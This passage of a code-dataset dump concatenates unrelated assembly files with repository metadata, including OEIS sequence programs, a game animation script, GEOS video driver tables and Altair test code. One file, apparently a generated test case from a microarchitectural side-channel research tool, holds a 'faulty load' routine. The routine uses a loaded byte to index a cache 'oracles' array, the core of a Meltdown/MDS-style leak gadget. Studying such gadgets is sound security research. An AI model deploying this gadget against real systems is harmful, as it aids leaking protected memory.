] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/179/A179060.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A179060: Number of non-attacking placements of 5 rooks on an n X n board.
; 0,0,0,0,120,4320,52920,376320,1905120,7620480,25613280,75271680,198764280,480960480,1082161080,2289530880,4594961280,8809274880,16225246080,28844881920,49689816120,83217546720,135870624120,216790801920,338735628000,519241008000,782079948000,1159075008000,1692330003000,2436955204320,3464369750520,4866275205120,6759405227520,9291168184320,12646312250880,17054756167680,22800743353080,30233492563680,39779534765880,51956943367680,67391683488480,86836325546880,111191389152480,141529605127680
add $0,1
bin $0,5
pow $0,2
mul $0,120
| 76 | 492 | 0.865132 |
087f27bd8daabec54ccaa02211c17d7c7729fd25 | 73 | asm | Assembly | gfx/pokemon/ampharos/anim_idle.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 28 | 2019-11-08T07:19:00.000Z | 2021-12-20T10:17:54.000Z | gfx/pokemon/ampharos/anim_idle.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 13 | 2020-01-11T17:00:40.000Z | 2021-09-14T01:27:38.000Z | gfx/pokemon/ampharos/anim_idle.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | 22 | 2020-05-28T17:31:38.000Z | 2022-03-07T20:49:35.000Z | frame 4, 10
setrepeat 2
frame 5, 06
frame 6, 06
dorepeat 2
endanim
| 10.428571 | 12 | 0.684932 |
f28e9df07e34214cdace74379c20e3e1cb638a90 | 114 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/acosh.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/acosh.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/acosh.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_clib
SECTION code_fp_math48
PUBLIC acosh
EXTERN cm48_sccz80_acosh
defc acosh = cm48_sccz80_acosh
| 11.4 | 30 | 0.850877 |
d54a1badb619a4563f238bf54dae006884b63348 | 198 | asm | Assembly | sway-core/tests/ir_to_asm/tiny_asm_block.asm | anrestbe/Bimbam | 11d4f534088e9272af1399cc8a0fe417f56af5a1 | [
"Apache-2.0"
] | 1 | 2022-02-01T19:57:26.000Z | 2022-02-01T19:57:26.000Z | sway-core/tests/ir_to_asm/tiny_asm_block.asm | anrestbe/Bimbam | 11d4f534088e9272af1399cc8a0fe417f56af5a1 | [
"Apache-2.0"
] | null | null | null | sway-core/tests/ir_to_asm/tiny_asm_block.asm | anrestbe/Bimbam | 11d4f534088e9272af1399cc8a0fe417f56af5a1 | [
"Apache-2.0"
] | null | null | null | .program:
ji i4
noop
DATA_SECTION_OFFSET[0..32]
DATA_SECTION_OFFSET[32..64]
lw $ds $is 1
add $$ds $$ds $is
bhei $r0
move $r1 $r0 ; return value from inline asm
ret $r1
.data:
| 16.5 | 60 | 0.621212 |
abcbb55bc838f401667eba2678e71f8b273dbfef | 973 | asm | Assembly | Altair101/asm/programsUntested/opOutLcdOffOn.asm | tigerfarm/arduino | e51f111a092fe6737646b146a825f4eecbd05d44 | [
"OLDAP-2.4",
"OLDAP-2.7"
] | 2 | 2021-12-12T23:27:10.000Z | 2022-02-17T14:01:21.000Z | Altair101/asm/programsUntested/opOutLcdOffOn.asm | tigerfarm/arduino | e51f111a092fe6737646b146a825f4eecbd05d44 | [
"OLDAP-2.4",
"OLDAP-2.7"
] | null | null | null | Altair101/asm/programsUntested/opOutLcdOffOn.asm | tigerfarm/arduino | e51f111a092fe6737646b146a825f4eecbd05d44 | [
"OLDAP-2.4",
"OLDAP-2.7"
] | 4 | 2021-08-29T19:55:49.000Z | 2022-02-15T08:30:15.000Z | ; --------------------------------------
Start:
; Turn LCD back light off.
mvi a,0
out 1
hlt
; Turn LCD back light on.
mvi a,1
out 1
hlt
; Clear screen.
mvi a,2
out 1
hlt
; Turn LCD back light off.
mvi a,0
out 1
hlt
; Turn LCD back light on.
mvi a,1
out 1
hlt
; Initialize with splash message.
mvi a,3
out 1
hlt
;
jmp Start
; --------------------------------------
end
| 31.387097 | 80 | 0.20555 |
dae34ca6340f71fb53ef469cf6b928cb98b6b315 | 4,388 | asm | Assembly | Transynther/x86/_processed/P/_zr_/i3-7100_9_0x84_notsx.log_9_547.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/P/_zr_/i3-7100_9_0x84_notsx.log_9_547.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/P/_zr_/i3-7100_9_0x84_notsx.log_9_547.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xdc99, %r9
clflush (%r9)
nop
nop
nop
sub %r12, %r12
mov (%r9), %ecx
nop
nop
cmp $52240, %rbp
lea addresses_D_ht+0x6e49, %r13
clflush (%r13)
and %rcx, %rcx
movb (%r13), %r14b
add %r13, %r13
lea addresses_D_ht+0x64a1, %rsi
lea addresses_D_ht+0xb849, %rdi
nop
nop
nop
nop
nop
add %r9, %r9
mov $120, %rcx
rep movsb
add %rdi, %rdi
lea addresses_WT_ht+0x74e9, %r13
nop
cmp $19771, %rbp
vmovups (%r13), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %r12
nop
nop
nop
nop
nop
add $50636, %rdi
lea addresses_UC_ht+0x4249, %r9
nop
nop
nop
nop
xor $39571, %rcx
mov $0x6162636465666768, %r12
movq %r12, %xmm1
movups %xmm1, (%r9)
nop
nop
nop
nop
nop
cmp %r14, %r14
lea addresses_UC_ht+0x18c9, %rsi
lea addresses_D_ht+0x1e249, %rdi
nop
nop
nop
nop
nop
and %r13, %r13
mov $17, %rcx
rep movsl
nop
nop
nop
nop
inc %r14
lea addresses_A_ht+0x7949, %rsi
nop
nop
xor $40537, %r12
mov $0x6162636465666768, %r9
movq %r9, %xmm1
vmovups %ymm1, (%rsi)
nop
nop
nop
inc %rcx
lea addresses_A_ht+0xd009, %rdi
inc %rcx
movl $0x61626364, (%rdi)
add %rcx, %rcx
lea addresses_A_ht+0x8279, %rbp
nop
nop
nop
nop
nop
and $35672, %r14
movb (%rbp), %cl
nop
nop
nop
add $54107, %r13
lea addresses_normal_ht+0x13f49, %rsi
lea addresses_WC_ht+0xad89, %rdi
nop
mfence
mov $66, %rcx
rep movsq
nop
add %r14, %r14
lea addresses_WC_ht+0xb149, %rsi
lea addresses_WC_ht+0x4889, %rdi
and $26915, %r13
mov $61, %rcx
rep movsw
nop
nop
nop
nop
nop
xor %r12, %r12
lea addresses_normal_ht+0xed79, %rsi
lea addresses_A_ht+0x6f29, %rdi
nop
nop
xor $5571, %r14
mov $79, %rcx
rep movsb
nop
nop
nop
nop
nop
add %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %rbp
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_WT+0x1f849, %rsi
lea addresses_D+0x1e189, %rdi
nop
nop
nop
nop
cmp $42735, %rbp
mov $44, %rcx
rep movsb
nop
nop
nop
nop
cmp %rdi, %rdi
// Faulty Load
mov $0x249, %r12
nop
nop
nop
nop
nop
add %rdi, %rdi
mov (%r12), %ebp
lea oracles, %r11
and $0xff, %rbp
shlq $12, %rbp
mov (%r11,%rbp,1), %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_P', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'type': 'addresses_P', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'00': 9}
00 00 00 00 00 00 00 00 00
*/
| 20.221198 | 152 | 0.652461 |
f82b2854313156eb4bf38012d6b2eda4fa1a3b2f | 486 | asm | Assembly | programs/oeis/262/A262011.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/262/A262011.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/262/A262011.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A262011: a(n) = (1/n!) * Product_{k=1..n} (k^3 + 1).
; 1,2,9,84,1365,34398,1244061,61136712,3920391657,317987323290,31830531061329,3854387943062748,555353062796290941,93897387078942114486,18410594823692578876005,4143611208319076419026192,1061023445030203505546894289,306698188757554119191614031538,99387251945711843180260258108953
lpb $0
mov $0,45
add $1,1
lpe
add $1,$0
mov $2,$0
mov $0,$1
add $2,1
lpb $0
mov $1,$0
sub $0,1
pow $1,2
sub $1,$0
mul $2,$1
lpe
mov $0,$2
| 24.3 | 277 | 0.734568 |
a690a11049670a277b7af53523cd61b6c536ef5c | 9,834 | asm | Assembly | Driver/Video/Dumb/VidMem/CMYK/cmykTables.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Driver/Video/Dumb/VidMem/CMYK/cmykTables.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Driver/Video/Dumb/VidMem/CMYK/cmykTables.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Video driver
FILE: cmykTables.asm
AUTHOR: Jim DeFrisco
REVISION HISTORY:
Name Date Description
---- ---- -----------
jad 12/91 initial version
DESCRIPTION:
$Id: cmykTables.asm,v 1.1 97/04/18 11:43:06 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
; left mask table
leftMaskTable label word
byte 11111111b,11111111b
byte 01111111b,11111111b
byte 00111111b,11111111b
byte 00011111b,11111111b
byte 00001111b,11111111b
byte 00000111b,11111111b
byte 00000011b,11111111b
byte 00000001b,11111111b
byte 00000000b,11111111b
byte 00000000b,01111111b
byte 00000000b,00111111b
byte 00000000b,00011111b
byte 00000000b,00001111b
byte 00000000b,00000111b
byte 00000000b,00000011b
byte 00000000b,00000001b
rightMaskTable label word
byte 10000000b,00000000b
byte 11000000b,00000000b
byte 11100000b,00000000b
byte 11110000b,00000000b
byte 11111000b,00000000b
byte 11111100b,00000000b
byte 11111110b,00000000b
byte 11111111b,00000000b
byte 11111111b,10000000b
byte 11111111b,11000000b
byte 11111111b,11100000b
byte 11111111b,11110000b
byte 11111111b,11111000b
byte 11111111b,11111100b
byte 11111111b,11111110b
byte 11111111b,11111111b
;------------------------------------------------------------------------------
; Table of draw mode routines
;------------------------------------------------------------------------------
drawModeTable label word
nptr ModeCLEAR
nptr ModeCOPY
nptr ModeNOP
nptr ModeAND
nptr ModeINVERT
nptr ModeXOR
nptr ModeSET
nptr ModeOR
VidSegment Bitmap
; this is a table of routines to put a single bitmap scan
; line. The B_type field passed in PutBitsArgs is used to
; index into the table (the lower 5 bits). The low three
; bits are the bitmap format, the next bit (BMT_COMPLEX) is
; used by the kernel bitmap code to signal that it is a
; monochrome bitmap that should be filled with the current
; area color. The fifth bit is set if there is a mask storeed
; with the bitmap.
putbitsTable label nptr ; FORMAT mask? fill?
nptr offset PutBWScanCMYK ; BMF_MONO no no
nptr offset PutCMYKColor4 ; BMF_CLR4 no no
nptr offset PutCMYKColor8 ; BMF_CLR8 no no
nptr offset PutCMYKColor24 ; BMF_CLR24 no no
nptr offset NullBMScan ; BMF_CMYK no no
nptr offset NullBMScan ; UNUSED no no
nptr offset NullBMScan ; UNUSED no no
nptr offset NullBMScan ; UNUSED no no
nptr offset FillBWScanCMYK ; BMF_MONO no yes
nptr offset NullBMScan ; BMF_CLR4 no yes
nptr offset NullBMScan ; BMF_CLR8 no yes
nptr offset NullBMScan ; BMF_CLR24 no yes
nptr offset NullBMScan ; BMF_CMYK no yes
nptr offset NullBMScan ; UNUSED no yes
nptr offset NullBMScan ; UNUSED no yes
nptr offset NullBMScan ; UNUSED no yes
nptr offset PutBWScanMaskCMYK ; BMF_MONO yes no
nptr offset PutCMYKColor4Mask ; BMF_CLR4 yes no
nptr offset PutCMYKColor8Mask ; BMF_CLR8 yes no
nptr offset PutCMYKColor24Mask ; BMF_CLR24 yes no
nptr offset NullBMScan ; BMF_CMYK yes no
nptr offset NullBMScan ; UNUSED yes no
nptr offset NullBMScan ; UNUSED yes no
nptr offset NullBMScan ; UNUSED yes no
nptr offset FillBWScanCMYK ; BMF_MONO yes yes
nptr offset FillBWScanCMYK ; BMF_CLR4 yes yes
nptr offset FillBWScanCMYK ; BMF_CLR8 yes yes
nptr offset FillBWScanCMYK ; BMF_CLR24 yes yes
nptr offset FillBWScanCMYK ; BMF_CMYK yes yes
VidEnds Bitmap
VidSegment PutLine
; this is a table of routines to put a single bitmap scan
; line. The B_type field passed in PutBitsArgs is used to
; index into the table (the lower 5 bits). The low three
; bits are the bitmap format, the next bit (BMT_COMPLEX) is
; used by the kernel bitmap code to signal that it is a
; monochrome bitmap that should be filled with the current
; area color. The fifth bit is set if there is a mask storeed
; with the bitmap.
putlineTable label nptr ; FORMAT mask? fill?
nptr offset PutBWScanCMYK ; BMF_MONO no no
nptr offset PutCMYKColor4 ; BMF_CLR4 no no
nptr offset PutCMYKColor8 ; BMF_CLR8 no no
nptr offset PutCMYKColor24 ; BMF_CLR24 no no
nptr offset NullBMScan ; BMF_CMYK no no
nptr offset NullBMScan ; UNUSED no no
nptr offset NullBMScan ; UNUSED no no
nptr offset NullBMScan ; UNUSED no no
nptr offset FillBWScanCMYK ; BMF_MONO no yes
nptr offset NullBMScan ; BMF_CLR4 no yes
nptr offset NullBMScan ; BMF_CLR8 no yes
nptr offset NullBMScan ; BMF_CLR24 no yes
nptr offset NullBMScan ; BMF_CMYK no yes
nptr offset NullBMScan ; UNUSED no yes
nptr offset NullBMScan ; UNUSED no yes
nptr offset NullBMScan ; UNUSED no yes
nptr offset PutBWScanMaskCMYK ; BMF_MONO yes no
nptr offset PutCMYKColor4Mask ; BMF_CLR4 yes no
nptr offset PutCMYKColor8Mask ; BMF_CLR8 yes no
nptr offset PutCMYKColor24Mask ; BMF_CLR24 yes no
nptr offset NullBMScan ; BMF_CMYK yes no
nptr offset NullBMScan ; UNUSED yes no
nptr offset NullBMScan ; UNUSED yes no
nptr offset NullBMScan ; UNUSED yes no
nptr offset FillBWScanCMYK ; BMF_MONO yes yes
nptr offset FillBWScanCMYK ; BMF_CLR4 yes yes
nptr offset FillBWScanCMYK ; BMF_CLR8 yes yes
nptr offset FillBWScanCMYK ; BMF_CLR24 yes yes
nptr offset FillBWScanCMYK ; BMF_CMYK yes yes
; these are offsets to the byte mode routines in the
; bitmap module
PLByteModeRout label nptr
nptr ByteCLEAR
nptr ByteCOPY
nptr ByteNOP
nptr ByteAND
nptr ByteINV
nptr ByteXOR
nptr ByteSET
nptr ByteOR
VidEnds PutLine
;----------------------------------------------------------------------------
; Driver jump table (used by DriverStrategy)
;----------------------------------------------------------------------------
driverJumpTable label word
dw 0 ; intiialization
dw 0 ; last gasp
dw 0 ; suspend
dw 0 ; unsuspend
dw 0 ; test for device existance
dw 0 ; set device type
dw 0 ; get ptr to info block
dw 0 ; get exclusive
dw 0 ; start exclusive
dw 0 ; end exclusive
dw offset cmykcode:VidGetPixel ; get a pixel color
dw offset cmykcode:CMYKCallMod ; GetBits in another module
dw 0 ; set the ptr pic
dw 0 ; hide the cursor
dw 0 ; show the cursor
dw 0 ; move the cursor
dw 0 ; set save under area
dw 0 ; restore save under area
dw 0 ; nuke save under area
dw 0 ; request save under
dw 0 ; check save under
dw 0 ; get save under info
dw 0 ; check s.u. collision
dw 0 ; set xor region
dw 0 ; clear xor region
dw offset cmykcode:VidDrawRect ; rectangle
dw offset cmykcode:VidPutString ; char string
dw offset cmykcode:CMYKCallMod ; BitBlt in another module
dw offset cmykcode:CMYKCallMod ; PutBits in another module
dw offset cmykcode:CMYKCallMod ; DrawLine in another module
dw offset cmykcode:VidDrawRegion ; draws a region
dw offset cmykcode:CMYKCallMod ; PutLine in another module
dw offset cmykcode:CMYKCallMod ; Polygon in another module
dw 0 ; ScreenOn in another module
dw 0 ; ScreenOff in another module
dw offset cmykcode:CMYKCallMod ; Polyline in another module
dw offset cmykcode:CMYKCallMod ; DashLine in another module
dw offset cmykcode:CMYKCallMod ; DashFill in another module
dw 0 ; SetPalette elsewhere
dw 0 ; GetPalette elsewhere
.assert ($-driverJumpTable) eq VidFunction
; this table holds offsets to the routines in different modules
moduleTable label fptr
fptr 0 ; intiialization
fptr 0 ; last gasp
fptr 0 ; suspend
fptr 0 ; unsuspend
fptr 0 ; test for device existance
fptr 0 ; set device type
fptr 0 ; get ptr to info block
fptr 0 ; get exclusive
fptr 0 ; start exclusive
fptr 0 ; end exclusive
fptr 0 ; get a pixel color
fptr CMYKMisc:VidGetBits ; GetBits in another module
fptr 0 ; set the ptr pic
fptr 0 ; hide the cursor
fptr 0 ; show the cursor
fptr 0 ; move the cursor
fptr 0 ; set save under area
fptr 0 ; restore save under area
fptr 0 ; nuke save under area
fptr 0 ; request save under
fptr 0 ; check save under
fptr 0 ; get save under info
fptr 0 ; check s.u. collision
fptr 0 ; set xor region
fptr 0 ; clear xor region
fptr 0 ; rectangle
fptr 0 ; char string
fptr CMYKBlt:VidBitBlt ; BitBlt in another module
fptr CMYKBitmap:VidPutBits ; PutBits in another module
fptr CMYKLine:VidDrawLine ; DrawLine in another module
fptr 0 ; draws a region
fptr CMYKPutLine:VidPutLine ; PutLine in another module
fptr CMYKLine:VidPolygon ; Polygon in another module
fptr 0 ; ScreenOn in another module
fptr 0 ; ScreenOff in another module
fptr CMYKLine:VidPolyline ; Polyline in another module
fptr CMYKLine:VidDashLine ; DashLine in another module
fptr CMYKLine:VidDashFill ; DashFill in another module
fptr 0 ; SetPalette elsewhere
fptr 0 ; GetPalette elsewhere
.assert ($-moduleTable) eq (VidFunction*2)
;----------------------------------------------------------------------------
; Video Semaphores
;----------------------------------------------------------------------------
videoSem Semaphore <1,0>
| 34.87234 | 80 | 0.650702 |
3e5942e2f77d4b3b5edba51615ec660308ac5219 | 299 | asm | Assembly | programs/oeis/159/A159325.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/159/A159325.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/159/A159325.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A159325: Median number of comparisons used by insertion sort on n (distinct) elements.
; 0,1,3,5,8,11,15,19,24,30,36,42,49,56,64,73,82,91,101,111,122,134,146,158,171,185
mov $2,$0
mul $0,2
mov $1,$0
lpb $0
mul $1,2
pow $1,2
mov $3,$0
mov $0,1
mul $3,2
lpe
add $1,$3
div $1,63
add $1,$2
| 17.588235 | 88 | 0.628763 |
1a45d6821e4466d2f0bf7b530c58cc6b0edfba4a | 144 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_w13.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_w13.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver1/sfc/ys_w13.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: ys_w13.asm
Type: file
Size: 27621
Last-Modified: '2016-05-13T04:51:16Z'
SHA-1: 6D51F1D542343A523A8198ADA1505263F2F29AE8
Description: null
| 20.571429 | 47 | 0.8125 |
9d7ad84438be122485d56d064c00d969e85853a1 | 474 | asm | Assembly | oeis/237/A237353.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/237/A237353.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/237/A237353.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A237353: For n=g+h, a(n) is the minimum value of omega(g)+omega(h).
; Submitted by Jon Maiga
; 0,1,1,1,1,2,1,1,1,2,1,2,1,2,2,1,1,2,1,2,2,2,1,2,1,2,1,2,1,2,1,1,2,2,2,2,1,2,2,2,1,2,1,2,2,2,1,2,1,2,2,2,1,2,2,2,2,2,1,2,1,2,2,1,2,2,1,2,2,2,1,2,1,2,2,2,2,2,1,2,1,2,1,2,2,2,2,2,1,2,2,2,2,2,2,2,1,2,2,2
lpb $0
mov $2,$0
mov $0,0
mov $3,$2
cmp $3,0
add $2,$3
seq $2,230799 ; The number of distinct nonzero coefficients in the n-th cyclotomic polynomial.
lpe
mov $0,$2
| 33.857143 | 201 | 0.586498 |
56ee7e65bd158f29651bf696542f60d22118f7a6 | 2,731 | asm | Assembly | programs/oeis/017/A017206.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/017/A017206.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/017/A017206.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A017206: a(n) = (9*n + 3)^10.
; 59049,61917364224,16679880978201,590490000000000,8140406085191601,64925062108545024,362033331456891249,1568336880910795776,5631351470947265625,17490122876598091776,48398230717929318249,121899441999475713024,283942098606901565601,619173642240000000000,1276136419117121619201,2504902718110474036224,4711653532607691047049,8535834451185868210176,14956826027973134765625,25438557613203014501376,42122185590781554706449,68078861925529707085824,107636749520976961802001,166798809782010000000000,253770507618165375615801,379619462565741198311424,559092234403032700371849,811616880235713665688576,1162523670191533212890625,1644520413237918591614976,2299463235875612705183649,3180468387218973248922624,4354415726901861885367401,5904900000000000000000000,7935691828389105528301401,10574776563315896351130624,13979045762098993055105649,18339723085451720682110976,23888613873581638681640625,30905275561625163865752576,39725214450772735983309849,50749223173283452812263424,64453982490130814650341801,81404060851916010000000000,102265455449584888327196001,127820829294042245259853824,158986610205625133715088449,196832129478228454438757376,242600990421323914541015625,297734869988830416051634176,363899970289432891533245049,443016350951160383613748224,537290388096475613165205201,649250621085450240000000000,781787264216455333610219601,938195677248838082877441024,1122224105942936326061760249,1338126021812154918975307776,1590717408962345123291015625,1885439365268042931666379776,2228426405215887395008749249,2626580872545408423007617024,3087653892348998035244837601,3620333314568912490000000000,4234339123862247954529692201,4940526814607642247350452224,5750999254412632523130161049,6679227584860796427425842176,7740181734425675064931640625,8950471145486672944353509376,10328496345223305728741182449,11894612018850973975317709824,13671302273206532936786519001,15683368809107957760000000000,17958132752212022900976333801,20525650924289777120787047424,23418947369944353878040930849,26674260987821964133794840576,30331310150327427376962890625,34433575231762959905906942976,39028600001675809908107504649,44168312878039359507869466624,49909369073716157545145929401,56313514709472656250000000000,63447974007646853030203264401,71385860722424238137224986624,80206615005567072861632309649,89996466950379723975933182976,100848928101691211234384765625,112865312265707938698495000576,126155287000747430327098275849,140837457218120428494221927424,157039982371796593719713148801,174901228765980917760000000000,194570458561356483152650004001,216208557113527023181799629824,239988800331132509875292137449,266097663796225376901714149376,294735675445796621949697265625,326118313670842582186084402176
mul $0,9
add $0,3
pow $0,10
| 390.142857 | 2,669 | 0.9513 |
959876bfd8743ff3543af33459e9ab762d9988be | 690 | asm | Assembly | oeis/090/A090300.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/090/A090300.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/090/A090300.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A090300: a(n) = 14*a(n-1) + a(n-2), starting with a(0) = 2 and a(1) = 14.
; Submitted by Jon Maiga
